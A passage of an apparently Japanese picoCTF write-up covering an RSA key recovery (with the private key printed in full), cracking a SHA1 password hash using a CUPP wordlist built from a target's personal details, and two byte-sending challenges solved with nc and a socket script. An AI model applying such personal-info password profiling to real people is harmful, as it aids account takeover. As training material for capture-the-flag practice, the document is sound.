6e6b2b4c6d6f674551635268585371303048674f65424d4f0a5a3056485a504c4841674d4241414543676745414347336449592f2f50634f724674523670676f64435144557834582b57692b6757494a3153635456754c53490a342b5a356c6d664c676931346e636a786356564f4635366c3331776965702b6653677865433668544245516e774c595945514a516b4946752b664650386661300a55782f466e337a54634b4c4b4674447a587877643332705736633833425173587539754d57796f37554a4a2b7a64554d4c735048333753627457507a525550330a43426854527245376670654b75437074435655697136316c58666d4e58346b427759634179433477734132376b576c6e747a644c456e70786e566141664f74310a6a762f78786366327839556130793033342f57694c4a30394a566951446d6d36794442734a67674f6c4b4b562f4430614c656c764f70484d746b3178584f33660a724c574a693534577252424a4a4d426b305233584945575361475363785156504476455065484e3651514b42675143314554733066346a785058444d723970670a694e7338716b3755714d784b4543554b6d5a356f73336e6534455530364d69662b6c4e524e4e5a6d4e784f6e46544b4638363042794c5650305051565a3758660a4937712f6f7263324f6c46515330503937326a30574a527a4732504353552b644b48777768674b6c5a386b31684138564f493457573664626f34695a65684a700a55335a717430674f766633395238373547637276634e754e35774b426751443145613137562b66732f7a496c56744a35524b676e70317476766b6b58556735440a54675a624662716d4d576f4e6a6372764c4938365471373030414c6a42674861556b59376e397a52673834574e42574972564a6c687566724b6847436b7170620a4b737969564f51644569376f4c706358497846416f56373970564f7633783775626e4653693146662b6d48446575427535555a6b42486c4e535936437257364a0a676a64706a71595949514b426746684d787571624a3155392b547859706335643730787559584d6a766a79414578425153676756506d474b545457344c3936550a5850314648796c4a7772504169707234636d356b5373645a7879364a4852427368433367564369463242476f49736737634a74346479794c4e754d516a56712b0a32354675534f7751365062494a2f4c5a576246646b516748674234596764494c656277684657726244486e7741756448784d647636694952416f47414c636b440a744575554650384969316c524d543757653749557279664a324157496a4b4b444a586c46796337706c5761735230723335316a543777443979525253504575710a7533442b66465933706f5a4d6a36427943473350336d755a6f64397333474e2b6e38566b614e6f4130586743326c752b3257684d71753638563974446d4341690a4939334c636a6342464e68634864765037746533496531674a71486f534f422f49635634326f4543675945416a3744674f744c734e65444a4f5a6856774730480a677a5067634332655932513575675735764f62747245584a7245796f313838453174457544654c6e4f4a5a556273444b6447635254526a4541617a66436866450a5847307844473954537639737133687a394976455348345470386363666f4b382b756c71544343767a3567366c39304232714f7046372f364a3844754d4e786e0a4e2f4f77424e6f4e507a4d6c6132434a6d6243736247633d0a2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d0a | xxd -r -p
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCtVf6CDwFYrEnH
k4R/8NMG0Sb8m6mVUy4y1LAX8nbYlJI6llRp0gvi1wRbsoDdmZ48oCFBd26rlc01
EXA3xrN/Fw4gcITyxtqNsgq2r2x2dAOuZW6MxI1948iLDE4VAR+H2U8iJiQq5z3Y
51tjaS+JlW/rvu/W3rdDbrkSXgju/wmmMNmIR6z7kzn5l/twq3mXJxkOZZLzs7Bt
hzrDlH/JgUhWr0gxfR2wdvwQft6QJ82iXadqzH4C5ZEVVO350aJUta7QPao4R+11
ZWjtln5mssQUEAaM6DjYbEM66Uy3iplESy2Nsx0Qnk+LmogEQcRhXSq00HgOeBMO
Z0VHZPLHAgMBAAECggEACG3dIY//PcOrFtR6pgodCQDUx4X+Wi+gWIJ1ScTVuLSI
4+Z5lmfLgi14ncjxcVVOF56l31wiep+fSgxeC6hTBEQnwLYYEQJQkIFu+fFP8fa0
Ux/Fn3zTcKLKFtDzXxwd32pW6c83BQsXu9uMWyo7UJJ+zdUMLsPH37SbtWPzRUP3
CBhTRrE7fpeKuCptCVUiq61lXfmNX4kBwYcAyC4wsA27kWlntzdLEnpxnVaAfOt1
jv/xxcf2x9Ua0y034/WiLJ09JViQDmm6yDBsJggOlKKV/D0aLelvOpHMtk1xXO3f
rLWJi54WrRBJJMBk0R3XIEWSaGScxQVPDvEPeHN6QQKBgQC1ETs0f4jxPXDMr9pg
iNs8qk7UqMxKECUKmZ5os3ne4EU06Mif+lNRNNZmNxOnFTKF860ByLVP0PQVZ7Xf
I7q/orc2OlFQS0P972j0WJRzG2PCSU+dKHwwhgKlZ8k1hA8VOI4WW6dbo4iZehJp
U3Zqt0gOvf39R875GcrvcNuN5wKBgQD1Ea17V+fs/zIlVtJ5RKgnp1tvvkkXUg5D
TgZbFbqmMWoNjcrvLI86Tq700ALjBgHaUkY7n9zRg84WNBWIrVJlhufrKhGCkqpb
KsyiVOQdEi7oLpcXIxFAoV79pVOv3x7ubnFSi1Ff+mHDeuBu5UZkBHlNSY6CrW6J
gjdpjqYYIQKBgFhMxuqbJ1U9+TxYpc5d70xuYXMjvjyAExBQSggVPmGKTTW4L96U
XP1FHylJwrPAipr4cm5kSsdZxy6JHRBshC3gVCiF2BGoIsg7cJt4dyyLNuMQjVq+
25FuSOwQ6PbIJ/LZWbFdkQgHgB4YgdILebwhFWrbDHnwAudHxMdv6iIRAoGALckD
tEuUFP8Ii1lRMT7We7IUryfJ2AWIjKKDJXlFyc7plWasR0r351jT7wD9yRRSPEuq
u3D+fFY3poZMj6ByCG3P3muZod9s3GN+n8VkaNoA0XgC2lu+2WhMqu68V9tDmCAi
I93LcjcBFNhcHdvP7te3Ie1gJqHoSOB/IcV42oECgYEAj7DgOtLsNeDJOZhVwG0H
gzPgcC2eY2Q5ugW5vObtrEXJrEyo188E1tEuDeLnOJZUbsDKdGcRTRjEAazfChfE
XG0xDG9TSv9sq3hz9IvESH4Tp8ccfoK8+ulqTCCvz5g6l90B2qOpF7/6J8DuMNxn
N/OwBNoNPzMla2CJmbCsbGc=
-----END PRIVATE KEY-----
取得した秘密鍵でflag.encを復号し、フラグを入手できた。(RSA復号にはCyberchefを使用)

Password Profiler
パスワードをクラックしてフラグを取得する問題。
以下の3つのファイルを渡された。
userinfo.txt: 標的ユーザーの個人情報が載っているhash.txt: 標的ユーザーのパスワードのSHA1ハッシュ値が記載されているcheck_password.py: パスワードをチェックするスクリプト。ハッシュ値とパスワードを比較して一致した場合はフラグを表示する
└─$ cat userinfo.txt
First Name: Alice
Surname: Johnson
Nickname: AJ
Birthdate: 15-07-1990
Partner's Name: Bob
Child's Name: Charlie
└─$ cat hash.txt
968c2349040273dd57dc4be7e238c5ac200ceac5
└─$ cat check_password.py
#!/usr/bin/env python3
import hashlib
HASH_FILE = "hash.txt"
WORDLIST_FILE = "passwords.txt" # wordlist that was generated using CUPP
def load_hash():
with open(HASH_FILE, "r") as f:
return f.read().strip()
def crack_password(target_hash):
with open(WORDLIST_FILE, "r", encoding="utf-8", errors="ignore") as f:
for password in f:
password = password.strip()
if hashlib.sha1(password.encode()).hexdigest() == target_hash:
return password
return None
if __name__ == "__main__":
target_hash = load_hash()
result = crack_password(target_hash)
if result:
print(f"Password found: picoCTF{{{result}}}")
else:
print("No match found.")
check_password.pyはCUPPによって生成されたパスワードリストを元にパスワードの確認を行う。
CUPPをgitからインストール。
git clone https://github.com/mebus/cupp.git
cupp.pyを-iオプション付きで実行すると対話モードで起動し、標的ユーザーの情報について色々聞かれるので、userinfo.txtの情報を元に答えていく。
└─$ python3 cupp.py -i
___________
cupp.py! # Common
\ # User
\ ,__, # Passwords
\ (oo)____ # Profiler
(__) )\
||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ]
[ Mebus | https://github.com/Mebus/]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: Alice
入力が完了するとalice.txtというパスワードリストが作成された。
└─$ head alice.txt
07151990
07151990
071590
071590
0715990
0715990
071990
071990
07199015
07199015
ファイル名をalice.txtからpasswords.txtに変更してcheck_password.pyを実行したところ、フラグを入手できた。
└─$ python3 check_password.py
Password found: picoCTF{Aj_<REDACTED>}
Medium
bytemancy 2
ソースコードを解析してフラグを取得する問題。
以下は渡されたapp.pyというファイルの内容。
import sys
while(True):
try:
print('⊹──────[ BYTEMANCY-2 ]──────⊹')
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print()
print('Send me the HEX BYTE 0xFF 3 times, side-by-side, no space.')
print()
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print('⊹─────────────⟡─────────────⊹')
print('==> ', end='', flush=True)
user_input = sys.stdin.buffer.readline().rstrip(b"\n")
if user_input == b"\xff\xff\xff":
print(open("./flag.txt", "r").read())
break
else:
print("That wasn't it. I got: " + str(user_input))
print()
print()
print()
except Exception as e:
print(e)
break
0xffを3文字分入力するとflag.txtからフラグが読み出される。
└─$ (echo -e '\xff\xff\xff') | nc lonely-island.picoctf.net 61186
⊹──────[ BYTEMANCY-2 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
Send me the HEX BYTE 0xFF 3 times, side-by-side, no space.
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> picoCTF{3ff5_4_d4yz_<REDACTED>}
bytemancy 3
ソースコードを解析してフラグを取得する問題。app.pyとspellbookという2つのファイルを渡された。
以下はapp.pyの内容。
import os
import random
import select
import sys
from typing import Optional
from pwn import ELF, p32
BANNER = "⊹──────[ BYTEMANCY-3 ]──────⊹"
BINARY_PATH = os.path.join(os.path.dirname(__file__), "spellbook")
QUESTION_COUNT = 3
SPELLBOOK_FUNCTIONS = [
"ember_sigil",
"glyph_conflux",
"astral_spark",
"binding_word",
]
def read_exact_bytes(expected_len: int) -> Optional[bytes]:
"""Read a fixed number of bytes from stdin, trimming a trailing newline."""
stdin_buffer = sys.stdin.buffer
buf = stdin_buffer.read(expected_len)
if not buf or len(buf) < expected_len:
return None
# Discard trailing newlines only if more bytes are immediately available
try:
stdin_fileno = sys.stdin.fileno()
except (AttributeError, ValueError, OSError):
stdin_fileno = None
if stdin_fileno is not None:
while True:
readable, _, _ = select.select([stdin_fileno], [], [], 0)
if not readable:
break
peek = stdin_buffer.peek(1)[:1]
if peek in (b"\n", b"\r"):
stdin_buffer.read(1)
continue
break
return buf
def main():
try:
elf = ELF(BINARY_PATH, checksec=False)
except FileNotFoundError:
print("The spellbook is missing!")
return
flag = open("./flag.txt", "r").read().strip()
while True:
try:
print(BANNER)
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print()
print("I will name four procedures hidden inside spellbook.")
print(
f"Each round, send me their *raw* 4-byte addresses "
f"in little-endian form. {QUESTION_COUNT} correct answers unlock the flag."
)
print()
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print('⊹─────────────⟡─────────────⊹')
selections = random.sample(SPELLBOOK_FUNCTIONS, QUESTION_COUNT)
success = True
for idx, symbol in enumerate(selections, 1):
target_addr = elf.symbols[symbol]
expected_bytes = p32(target_addr)
print(
f"[{idx}/{QUESTION_COUNT}] Send the 4-byte little-endian "
f"address for procedure '{symbol}'."
)
print("==> ", end='', flush=True)
user_bytes = read_exact_bytes(len(expected_bytes))
if user_bytes is None:
print("\nI needed four bytes, traveler.")
success = False
break
if user_bytes != expected_bytes:
print("\nThose aren't the right runes.")
success = False
break
if success:
print(flag)
break
print()
print("The aether rejects your incantation. Try again.\n")
except EOFError:
break
except Exception as exc:
print(exc)
break
if __name__ == "__main__":
main()
スクリプトの内容は以下の通り。
spellbookに含まれている以下の4つの関数のアドレスをリトルエンディアン形式で入力するようにユーザーに促す- ember_sigil
- glyph_conflux
- astral_spark
- binding_word
- 関数は上記からランダムに選択され、3回 正答すると
flag.txtからフラグが読み出される
spellbookは32ビットのELFファイルである。
└─$ file spellbook
spellbook: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0028c839fc5f43b51c9230d87125c038fdc9c6ce, for GNU/Linux 3.2.0, with debug_info, not stripped
objdumpコマンドを使って、各関数のアドレスの値を確認した。
└─$ objdump -d -M intel spellbook | grep ember_sigil
08049176 <ember_sigil>:
8049233: e8 3e ff ff ff call 8049176 <ember_sigil>
└─$ objdump -d -M intel spellbook | grep glyph_conflux
0804919a <glyph_conflux>:
8049247: e8 4e ff ff ff call 804919a <glyph_conflux>
└─$ objdump -d -M intel spellbook | grep astral_spark
080491c1 <astral_spark>:
804925b: e8 61 ff ff ff call 80491c1 <astral_spark>
└─$ objdump -d -M intel spellbook | grep binding_word
080491e3 <binding_word>:
804926f: e8 6f ff ff ff call 80491e3 <binding_word>
| 関数名 | アドレス (リトルエンディアン) |
| ember_sigil | 0x76910408 |
| glyph_conflux | 0x9a910408 |
| astral_spark | 0xc1910408 |
| binding_word | 0xe3910408 |
各関数のアドレスを確認できたので、あとはサーバーに接続して、正しいアドレスを入力すればフラグを取れる。手動でやるのは大変なので以下のPythonスクリプトを書いた。
import socket
host = "green-hill.picoctf.net"
port = 53644
buffersize = 4096
#create socket and connect to server
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
while True:
response = client.recv(buffersize)
print(str(response))
if 'ember_sigil' in str(response):
address = b'\x76\x91\x04\x08'
elif 'glyph_conflux' in str(response):
address = b'\x9a\x91\x04\x08'
elif 'astral_spark' in str(response):
address = b'\xc1\x91\x04\x08'
elif 'binding_word' in str(response):
address = b'\xe3\x91\x04\x08'
elif 'picoCTF' in str(response):
print(str(response))
else:
break
client.send(address)
スクリプトを実行し、フラグを入手。
└─$ python3 solver.py
b"\xe2\x8a\xb9\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80[ BYTEMANCY-3 ]\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x8a\xb9\n\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\n\nI will name four procedures hidden inside spellbook.\nEach round, send me their *raw* 4-byte addresses in little-endian form. 3 correct answers unlock the flag.\n\n\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\n\xe2\x8a\xb9\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x9f\xa1\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x8a\xb9\n[1/3] Send the 4-byte little-endian address for procedure 'ember_sigil'.\n==> "
b"[2/3] Send the 4-byte little-endian address for procedure 'glyph_conflux'.\n==> "
b"[3/3] Send the 4-byte little-endian address for procedure 'binding_word'.\n==> "
b'picoCTF{0bjdump_m4g1c_<REDACTED>}\n'
b'picoCTF{0bjdump_m4g1c_<REDACTED>}\n'
b''